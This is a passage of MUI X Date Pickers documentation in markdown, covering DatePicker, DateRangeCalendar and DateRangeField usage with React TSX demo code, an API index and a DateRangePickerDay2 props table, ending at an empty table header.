You can check the available props of the combined component on the dedicated [API page](/x/api/date-pickers/date-picker/#props).
Some [DateField props](/x/api/date-pickers/date-field/#props) are not available on the Picker component, you can use `slotProps.field` to pass them to the field.

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function DatePickerValue() {
  const [value, setValue] = React.useState<Dayjs | null>(dayjs('2022-04-17'));

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker', 'DatePicker']}>
        <DatePicker label="Uncontrolled picker" defaultValue={dayjs('2022-04-17')} />
        <DatePicker
          label="Controlled picker"
          value={value}
          onChange={(newValue) => setValue(newValue)}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Available components

The component is available in four variants:

- The `DesktopDatePicker` component which works best for mouse devices and large screens.
  It renders the views inside a popover and a field for keyboard editing.

- The `MobileDatePicker` component which works best for touch devices and small screens.
  It renders the view inside a modal and a field for keyboard editing.

- The `DatePicker` component which renders `DesktopDatePicker` or `MobileDatePicker` depending on the device it runs on.

- The `StaticDatePicker` component which renders without the popover/modal and field.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { MobileDatePicker } from '@mui/x-date-pickers/MobileDatePicker';
import { DesktopDatePicker } from '@mui/x-date-pickers/DesktopDatePicker';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';

export default function ResponsiveDatePickers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'DatePicker',
          'MobileDatePicker',
          'DesktopDatePicker',
          'StaticDatePicker',
        ]}
      >
        <DemoItem label="Desktop variant">
          <DesktopDatePicker defaultValue={dayjs('2022-04-17')} />
        </DemoItem>
        <DemoItem label="Mobile variant">
          <MobileDatePicker defaultValue={dayjs('2022-04-17')} />
        </DemoItem>
        <DemoItem label="Responsive variant">
          <DatePicker defaultValue={dayjs('2022-04-17')} />
        </DemoItem>
        <DemoItem label="Static variant">
          <StaticDatePicker defaultValue={dayjs('2022-04-17')} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

By default, the `DatePicker` component renders the desktop version if the media query [`@media (pointer: fine)`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/pointer) matches.
This can be customized with the `desktopModeMediaQuery` prop.

:::warning
Responsive components can suffer some inconsistencies between testing environments if media query is not supported.
Please refer to [this section](/x/react-date-pickers/base-concepts/#testing-caveats) for solutions.
:::

### Keyboard Date Picker (legacy)

The current implementation of the Date Picker component replaces the experimental Keyboard Date Picker from Material UI.
See the [migration documentation](/material-ui/migration/pickers-migration/#imports) for more information.

For accessibility, all Picker components accept keyboard inputs.
If your use case only calls for keyboard editing, you can use Field components: the Date Picker component can be edited via input or a calendar, whereas the Date Field can only be edited via input.
See the [Fields documentation](/x/react-date-pickers/fields/) for more details.

## Form props

The component supports the `disabled`, `readOnly` and `name` form props:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function FormPropsDatePickers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker', 'DatePicker', 'DatePicker']}>
        <DatePicker label="disabled" disabled />
        <DatePicker label="readOnly" readOnly />
        <DatePicker label="name" name="startDate" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Views

The component supports three views: `day`, `month`, and `year`.

By default, the `day` and `year` views are enabled.
Use the `views` prop to change this behavior:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function DatePickerViews() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker', 'DatePicker', 'DatePicker']}>
        <DatePicker
          label={'"year", "month" and "day"'}
          views={['year', 'month', 'day']}
        />
        <DatePicker label={'"day"'} views={['day']} />
        <DatePicker label={'"month" and "year"'} views={['month', 'year']} />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

By default, the component renders the `day` view on mount.
Use the `openTo` prop to change this behavior:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function DatePickerOpenTo() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker', 'DatePicker']}>
        <DatePicker label={'"year"'} openTo="year" />
        <DatePicker
          label={'"month"'}
          openTo="month"
          views={['year', 'month', 'day']}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::success
The views will appear in the order defined by the `views` array.
If the view defined in `openTo` is not the first view, then the views before will not be included in the default flow (for example, viewing the default behaviors, the `year` is only accessible when clicking on the toolbar).
:::

## Order of years

By default, years are displayed in ascending order, chronologically from the minimum year to the maximum.
Set the `yearsOrder` prop to `desc` to show the years in descending order.

```tsx
import dayjs from 'dayjs';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

const currentYear = dayjs();

export default function DatePickerYearsOrder() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DatePicker
        label="Years in descending order"
        maxDate={currentYear}
        openTo="year"
        views={['year', 'month']}
        yearsOrder="desc"
        sx={{ minWidth: 250 }}
      />
    </LocalizationProvider>
  );
}

```

## Landscape orientation

By default, the Date Picker component automatically sets the orientation based on the `window.orientation` value.
You can force a specific orientation using the `orientation` prop:

```tsx
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';

export default function StaticDatePickerLandscape() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDatePicker orientation="landscape" />
    </LocalizationProvider>
  );
}

```

:::info
You can find more information about the layout customization in the [custom layout page](/x/react-date-pickers/custom-layout/).
:::

## Helper text

You can show a helper text with the date format accepted:

```tsx
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function HelperText() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DatePicker
        label="Helper text example"
        slotProps={{
          textField: {
            helperText: 'MM/DD/YYYY',
          },
        }}
      />
    </LocalizationProvider>
  );
}

```

## Clearing the value

You can enable the clearable behavior:

```tsx
import * as React from 'react';
import { DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DesktopDatePicker } from '@mui/x-date-pickers/DesktopDatePicker';
import Box from '@mui/material/Box';
import Alert from '@mui/material/Alert';

export default function ClearableProp() {
  const [cleared, setCleared] = React.useState<boolean>(false);

  React.useEffect(() => {
    if (cleared) {
      const timeout = setTimeout(() => {
        setCleared(false);
      }, 1500);

      return () => clearTimeout(timeout);
    }
    return () => {};
  }, [cleared]);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Box
        sx={{
          width: '100%',
          height: '100%',
          display: 'flex',
          justifyContent: 'center',
          position: 'relative',
        }}
      >
        <DemoItem label="DesktopDatePicker">
          <DesktopDatePicker
            sx={{ width: 260 }}
            slotProps={{
              field: { clearable: true, onClear: () => setCleared(true) },
            }}
          />
        </DemoItem>

        {cleared && (
          <Alert
            sx={{ position: 'absolute', bottom: 0, right: 0 }}
            severity="success"
          >
            Field cleared!
          </Alert>
        )}
      </Box>
    </LocalizationProvider>
  );
}

```

:::info
See [Field components—Clearable behavior](/x/react-date-pickers/fields/#clearable-behavior) for more details.
:::

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

## Customization

You can check out multiple examples of how to customize the date pickers and their subcomponents.

```jsx
import * as React from 'react';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import ToggleButton from '@mui/material/ToggleButton';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import Stack from '@mui/material/Stack';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { BrandingProvider } from '@mui/docs/branding';
import CustomizationPlayground from 'docsx/src/modules/components/CustomizationPlayground';
import CircularProgress from '@mui/material/CircularProgress';
import { pickerExamples } from './examplesConfig.styling';

export default function CustomizationExamplesNoSnap() {
  const [selectedPicker, setSelectedPicker] = React.useState(0);

  const handleSelectedPickerChange = (_e, newValue) => {
    if (newValue !== null) {
      setSelectedPicker(newValue);
    }
  };

  if (!pickerExamples[selectedPicker]?.examples) {
    return (
      <BrandingProvider>
        <CircularProgress />
      </BrandingProvider>
    );
  }

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Stack spacing={2} sx={{ mb: 2, width: '100%', px: { xs: 2, sm: 0 } }}>
        <BrandingProvider>
          <ToggleButtonGroup
            value={selectedPicker}
            exclusive
            onChange={handleSelectedPickerChange}
            aria-label="date picker components"
          >
            {pickerExamples.map(({ name }, index) => (
              <ToggleButton value={index} aria-label={name} key={name}>
                {name}
              </ToggleButton>
            ))}
          </ToggleButtonGroup>
        </BrandingProvider>
        <CustomizationPlayground
          examples={pickerExamples[selectedPicker].examples}
          componentName={pickerExamples[selectedPicker].name}
        >
          {pickerExamples.map(
            (example, index) =>
              String(index) === String(selectedPicker) && (
                <example.component key={index} {...example?.componentProps} />
              ),
          )}
        </CustomizationPlayground>
      </Stack>
    </LocalizationProvider>
  );
}

```

---

# Source: https://mui.com/x/api/date-pickers.md

# Date and Time Pickers - API Reference

This page contains an index to the most important APIs of the Date and Time Pickers.

## Components

### Pickers

#### Date Pickers

- [DatePicker](/x/api/date-pickers/date-picker/)
- [DesktopDatePicker](/x/api/date-pickers/desktop-date-picker/)
- [MobileDatePicker](/x/api/date-pickers/mobile-date-picker/)
- [StaticDatePicker](/x/api/date-pickers/static-date-picker/)

#### Time Pickers

- [TimePicker](/x/api/date-pickers/time-picker/)
- [DesktopTimePicker](/x/api/date-pickers/desktop-time-picker/)
- [MobileTimePicker](/x/api/date-pickers/mobile-time-picker/)
- [StaticTimePicker](/x/api/date-pickers/static-time-picker/)

#### Date Time Pickers

- [DateTimePicker](/x/api/date-pickers/date-time-picker/)
- [DesktopDateTimePicker](/x/api/date-pickers/desktop-date-time-picker/)
- [MobileDateTimePicker](/x/api/date-pickers/mobile-date-time-picker/)
- [StaticDateTimePicker](/x/api/date-pickers/static-date-time-picker/)

#### Date Range Pickers [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

- [DateRangePicker](/x/api/date-pickers/date-range-picker/)
- [DesktopDateRangePicker](/x/api/date-pickers/desktop-date-range-picker/)
- [MobileDateRangePicker](/x/api/date-pickers/mobile-date-range-picker/)
- [StaticDateRangePicker](/x/api/date-pickers/static-date-range-picker/)

#### Time Range Pickers [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

- [TimeRangePicker](/x/api/date-pickers/time-range-picker/)
- [DesktopTimeRangePicker](/x/api/date-pickers/desktop-time-range-picker/)
- [MobileTimeRangePicker](/x/api/date-pickers/mobile-time-range-picker/)

#### Date Time Range Pickers [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

- [DateTimeRangePicker](/x/api/date-pickers/date-time-range-picker/)
- [DesktopDateTimeRangePicker](/x/api/date-pickers/desktop-date-time-range-picker/)
- [MobileDateTimeRangePicker](/x/api/date-pickers/mobile-date-time-range-picker/)

### Fields

- [DateField](/x/api/date-pickers/date-field/)
- [TimeField](/x/api/date-pickers/time-field/)
- [DateTimeField](/x/api/date-pickers/date-time-field/)
- [MultiInputDateRangeField [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/multi-input-date-range-field/)
- [SingleInputDateRangeField [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/single-input-date-range-field/)
- [MultiInputTimeRangeField [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/multi-input-time-range-field/)
- [SingleInputTimeRangeField [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/single-input-time-range-field/)
- [MultiInputDateTimeRangeField [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/multi-input-date-time-range-field/)
- [SingleInputDateTimeRangeField [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/single-input-date-time-range-field/)

### Calendars

- [DateCalendar](/x/api/date-pickers/date-calendar/)
- [DateRangeCalendar [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/date-range-calendar/)
- [MonthCalendar](/x/api/date-pickers/month-calendar/)
- [YearCalendar](/x/api/date-pickers/year-calendar/)

### Clocks

- [TimeClock](/x/api/date-pickers/time-clock/)
- [DigitalClock](/x/api/date-pickers/digital-clock/)
- [MultiSectionDigitalClock](/x/api/date-pickers/multi-section-digital-clock/)

### Toolbars

- [DatePickerToolbar](/x/api/date-pickers/date-picker-toolbar/)
- [TimePickerToolbar](/x/api/date-pickers/time-picker-toolbar/)
- [DateTimePickerToolbar](/x/api/date-pickers/date-time-picker-toolbar/)
- [DateRangePickerToolbar [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/date-range-picker-toolbar/)
- [TimeRangePickerToolbar [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/time-range-picker-toolbar/)
- [DateTimeRangePickerToolbar [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/date-time-range-picker-toolbar/)

### Others

- [DateRangePickerDay [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/date-range-picker-day/)
- [DateTimePickerTabs](/x/api/date-pickers/date-time-picker-tabs/)
- [TimeRangePickerTabs [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/time-range-picker-tabs/)
- [DateTimeRangePickerTabs [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/date-time-range-picker-tabs/)
- [DayCalendarSkeleton](/x/api/date-pickers/day-calendar-skeleton/)
- [LocalizationProvider](/x/api/date-pickers/localization-provider/)
- [PickersCalendarHeader](/x/api/date-pickers/pickers-calendar-header/)
- [PickersDay](/x/api/date-pickers/pickers-day/)

---

# Source: https://mui.com/x/api/date-pickers/date-range-calendar.md

# Source: https://mui.com/x/react-date-pickers/date-range-calendar.md

---
productId: x-date-pickers
title: React Date Range Calendar component
components: DateRangeCalendar
githubLabel: 'component: DateRangePicker'
packageName: '@mui/x-date-pickers-pro'
---

# Date Range Calendar [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

The Date Range Calendar lets the user select a range of dates without any input or popper / modal.

## Basic usage

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers-pro/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers-pro/AdapterDayjs';
import { DateRangeCalendar } from '@mui/x-date-pickers-pro/DateRangeCalendar';

export default function BasicDateRangeCalendar() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateRangeCalendar']}>
        <DateRangeCalendar />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateRangeCalendar } from '@mui/x-date-pickers-pro/DateRangeCalendar';
import { DateRange } from '@mui/x-date-pickers-pro/models';

export default function DateRangeCalendarValue() {
  const [value, setValue] = React.useState<DateRange<Dayjs>>([
    dayjs('2022-04-17'),
    dayjs('2022-04-21'),
  ]);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateRangeCalendar', 'DateRangeCalendar']}>
        <DemoItem label="Uncontrolled calendar">
          <DateRangeCalendar
            defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
          />
        </DemoItem>
        <DemoItem label="Controlled calendar">
          <DateRangeCalendar
            value={value}
            onChange={(newValue) => setValue(newValue)}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Form props

The component can be disabled or read-only.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateRangeCalendar } from '@mui/x-date-pickers-pro/DateRangeCalendar';

export default function DateRangeCalendarFormProps() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateRangeCalendar', 'DateRangeCalendar']}>
        <DemoItem label="disabled">
          <DateRangeCalendar
            defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
            disabled
          />
        </DemoItem>
        <DemoItem label="readOnly">
          <DateRangeCalendar
            defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
            readOnly
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Customization

### Choose the months to render

You can render up to 3 months at the same time using the `calendars` prop:

```tsx
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers-pro/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers-pro/AdapterDayjs';
import { DateRangeCalendar } from '@mui/x-date-pickers-pro/DateRangeCalendar';

export default function DateRangeCalendarCalendarsProp() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateRangeCalendar', 'DateRangeCalendar']}>
        <DemoItem label="1 calendar">
          <DateRangeCalendar calendars={1} />
        </DemoItem>
        <DemoItem label="2 calendars">
          <DateRangeCalendar calendars={2} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

You can choose the position where the current month is rendered using the `currentMonthCalendarPosition` prop.
This can be useful when using `disableFuture` to render the current month and the month before instead of the current month and the month after.

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers-pro/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers-pro/AdapterDayjs';
import { DateRangeCalendar } from '@mui/x-date-pickers-pro/DateRangeCalendar';

export default function DateRangeCalendarCurrentMonthCalendarPositionProp() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateRangeCalendar']}>
        <DateRangeCalendar currentMonthCalendarPosition={2} disableFuture />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Custom day rendering

The displayed days are customizable with the `Day` component slot.
You can take advantage of the [DateRangePickerDay](/x/api/date-pickers/date-range-picker-day/) component.

```tsx
import * as React from 'react';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import dayjs from 'dayjs';
import { styled } from '@mui/material/styles';
import { LocalizationProvider } from '@mui/x-date-pickers-pro/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers-pro/AdapterDayjs';
import { DateRangeCalendar } from '@mui/x-date-pickers-pro/DateRangeCalendar';
import {
  DateRangePickerDay as MuiDateRangePickerDay,
  DateRangePickerDayProps,
} from '@mui/x-date-pickers-pro/DateRangePickerDay';

const DateRangePickerDay = styled(MuiDateRangePickerDay)(({ theme }) => ({
  variants: [
    {
      props: ({ isHighlighting, outsideCurrentMonth }) =>
        !outsideCurrentMonth && isHighlighting,
      style: {
        borderRadius: 0,
        backgroundColor: theme.palette.primary.main,
        color: theme.palette.common.white,
        '&:hover, &:focus': {
          backgroundColor: theme.palette.primary.dark,
        },
      },
    },
    {
      props: ({ isStartOfHighlighting }) => isStartOfHighlighting,
      style: {
        borderTopLeftRadius: '50%',
        borderBottomLeftRadius: '50%',
      },
    },
    {
      props: ({ isEndOfHighlighting }) => isEndOfHighlighting,
      style: {
        borderTopRightRadius: '50%',
        borderBottomRightRadius: '50%',
      },
    },
  ],
})) as React.ComponentType<DateRangePickerDayProps>;

export default function CustomDateRangePickerDay() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateRangeCalendar']}>
        <DateRangeCalendar
          defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
          slots={{ day: DateRangePickerDay }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

---

# Source: https://mui.com/x/react-date-pickers/date-range-field.md

---
productId: x-date-pickers
title: React Date Range Field components
components: MultiInputDateRangeField, SingleInputDateRangeField
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers-pro'
---

# Date Range Field [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

The Date Range Field lets the user select a date range with the keyboard.

## Basic usage

You can render your Date Range Field with either one input using `SingleInputDateRangeField` or two inputs using `MultiInputDateRangeField` as shown below.

:::info
All the topics covered below are applicable to both `SingleInputDateRangeField` and `MultiInputDateRangeField` unless explicitly mentioned.
:::

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { MultiInputDateRangeField } from '@mui/x-date-pickers-pro/MultiInputDateRangeField';
import { SingleInputDateRangeField } from '@mui/x-date-pickers-pro/SingleInputDateRangeField';

export default function BasicDateRangeField() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={['SingleInputDateRangeField', 'MultiInputDateRangeField']}
      >
        <SingleInputDateRangeField label="Departure - Return" />
        <MultiInputDateRangeField
          slotProps={{
            textField: ({ position }) => ({
              label: position === 'start' ? 'Departure' : 'Return',
            }),
          }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { SingleInputDateRangeField } from '@mui/x-date-pickers-pro/SingleInputDateRangeField';
import { DateRange } from '@mui/x-date-pickers-pro/models';

export default function DateRangeFieldValue() {
  const [value, setValue] = React.useState<DateRange<Dayjs>>(() => [
    dayjs('2022-04-17'),
    dayjs('2022-04-21'),
  ]);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={['SingleInputDateRangeField', 'SingleInputDateRangeField']}
      >
        <SingleInputDateRangeField
          label="Uncontrolled field"
          defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
        />
        <SingleInputDateRangeField
          label="Controlled field"
          value={value}
          onChange={(newValue) => setValue(newValue)}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

---

# Source: https://mui.com/x/api/date-pickers/date-range-picker-day-2.md

# DateRangePickerDay2 API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom slots and subcomponents](/x/react-date-pickers/custom-components/)
- [Customization playground](/x/react-date-pickers/playground/)

## Import

```jsx
import { DateRangePickerDay2 } from '@mui/x-date-pickers-pro/DateRangePickerDay2';
// or
import { DateRangePickerDay2 } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| day | `object` | - | Yes |  |
| isEndOfHighlighting | `bool` | - | Yes |  |
| isEndOfPreviewing | `bool` | - | Yes |  |
| isFirstVisibleCell | `bool` | - | Yes |  |
| isHighlighting | `bool` | - | Yes |  |
| isLastVisibleCell | `bool` | - | Yes |  |
| isPreviewing | `bool` | - | Yes |  |
| isStartOfHighlighting | `bool` | - | Yes |  |
| isStartOfPreviewing | `bool` | - | Yes |  |
| outsideCurrentMonth | `bool` | - | Yes |  |
| action | `func \| { current?: { focusVisible: func } }` | - | No |  |
| centerRipple | `bool` | `false` | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| disabled | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disableMargin | `bool` | `false` | No |  |
| disableRipple | `bool` | `false` | No |  |
| disableTouchRipple | `bool` | `false` | No |  |
| draggable | `bool` | `false` | No |  |
| focusRipple | `bool` | `false` | No |  |
| focusVisibleClassName | `string` | - | No |  |
| isVisuallySelected | `bool` | - | No |  |
| onFocusVisible | `func` | - | No |  |
| selected | `bool` | `false` | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| today | `bool` | `false` | No |  |
| TouchRippleProps | `object` | - | No |  |
| touchRippleRef | `func \| { current?: { pulsate: func, start: func, stop: func } }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLButtonElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiDateRangePickerDay2` to change the default props of this component with the theme.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | dayOutsideMonth | Styles applied to the root element if `outsideCurrentMonth=true` and `showDaysOutsideCurrentMonth=true`. |
| `.Mui-disabled` | - | State class applied to the root element if `disabled=true`. |
| - | draggable |  |
| - | endOfMonth |  |
| - | endOfWeek |  |
| - | fillerCell | Styles applied to the root element if `outsideCurrentMonth=true` and `showDaysOutsideCurrentMonth=false`. |
| - | insidePreviewing |  |
| - | insideSelection |  |
| - | previewed |  |
| - | previewEnd |  |
| - | previewStart |  |
| - | root | Styles applied to the root element. |
| `.Mui-selected` | - | State class applied to the root element if `selected=true`. |
| - | selectionEnd |  |
| - | selectionStart |  |
| - | startOfMonth |  |
| - | startOfWeek |  |
| - | today | Styles applied to the root element if `disableHighlightToday=false` and `today=true`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/DateRangePickerDay2/DateRangePickerDay2.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/DateRangePickerDay2/DateRangePickerDay2.tsx)

---

# Source: https://mui.com/x/api/date-pickers/date-range-picker-day.md

# DateRangePickerDay API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Date Range Picker
- Date Time Range Picker

## Import

```jsx
import { DateRangePickerDay } from '@mui/x-date-pickers-pro/DateRangePickerDay';
// or
import { DateRangePickerDay } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
